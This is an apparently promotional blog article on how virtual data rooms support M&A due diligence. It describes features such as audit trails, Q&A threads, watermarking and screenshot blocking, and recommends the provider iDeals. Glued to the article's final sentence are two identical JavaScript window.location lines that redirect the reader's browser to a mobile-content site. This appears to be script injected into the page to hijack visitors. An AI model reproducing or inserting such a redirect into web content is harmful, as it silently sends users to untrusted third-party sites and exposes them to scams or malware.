All the M&A deals are inevitably passing due diligence stage. During the latter, numerous bidders examine the documents disclosed by a company and conduct in-depth investigation of the company’s performance. Due diligence is of a paramount importance as a potential partner or buyer wants to know all the details about the company he is about to work with or to buy. Therefore, data analysis should be conducted meticulously and attentively. Concentration on the tiniest details makes the process of documents examination time-consuming and tedious. And it is not surprising that both – a seller and a buyer – are interested in getting over the due diligence stage as soon as possible. Unfortunately, such haste in a data analysis might lead to missing relevant information, to misunderstandings and complaints between the deal participants.
A virtual data room is an instrument that can facilitate and speed up due diligence process. This online storage helps the investigators to stay focused but, simultaneously, to perform analysis rather quickly. A VDR is accessible 24/7 worldwide and the bidders can enter the room and work with the documents whenever and wherever it is convenient for them. There is no need to hurry up and to try to look through all the documents in a few hours: no one limits the time of access.
Hence, a VDR makes storage and exchange of the corporate data convenient. At the same time, numerous useful functions that are aimed at facilitating due diligence process are inherent to virtual data rooms.
- Activity tracking
Activity tracking function helps a seller to monitors all the actions of the potential partners. Every step of a bidder is registered and included in an audit report which contains information on who did what and how long for in the room. On the basis of this information, a seller can detect the most interested bidders and focus on communication with them. At the same time, a potential buyer can be sure that in a case of any misunderstanding with a seller all of his actions in the room where captured and the report can prove it.
- Q&A section
This section enhances communication between the deal participants. The buyer can ask any questions concerning certain documents and the seller will answer them. Each document is linked to a branch of questions and answers and every user can get acquainted with conversation. For the seller, it means that he will not need to answer redundant questions, and, for the buyer, it means that he will have a possibility to explore the document in-depth.
- Digital watermarks
A special personally-identifiable watermark is embedded in each document. After being downloaded or printed the document is marked with user’s name and the time when the action was completed. Hence, watermarks make misuse and anonymous sharing of documents impossible.
- “Fence view” feature
This feature prevents unauthorized screen capture of the documents as the PrintScreen button is blocked when a user is inside the data room. Thus, a seller does not have to worry that potential partners would copy confidential corporate data on the due diligence stage.
- Advanced search functions
Full-text search and filtering capabilities such as search by file names, keywords, date, etc. speed up navigation in the data room and save plenty of time.
- Integration with the software
Some VDRs are integrated with Microsoft Office: users can access and store files from Word, Excel, and PowerPoint in their data room. Users can work with multiple data formats and forget about special converters.
- Mobile application
With the launch of a mobile application, a VDR users received an opportunity to work with the documents on-the-go: they can access the data and edit it by utilizing their tablets and phones. Hence, from now on, due diligence does not necessarily need to be performed in the office.
Along with the functions mentioned a decent VDR can offer much more advantages and functions that will enhance not only due diligence but also the whole M&A process and other deals, transactions and projects that take place in the business realm. To experience all the peculiarities of VDRs it is advisable to choose well-known and reputable providers. iDeals belongs to the top-10 vendors on the market and during the last eight years, the company has proved to be the one that can provide the secure and convenient virtual data rooms that make a complex course of due diligence more simple and smooth. Its platforms are not only equipped with the set of advanced and unique options but can also be customized according to the requirements of each individual project.window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”;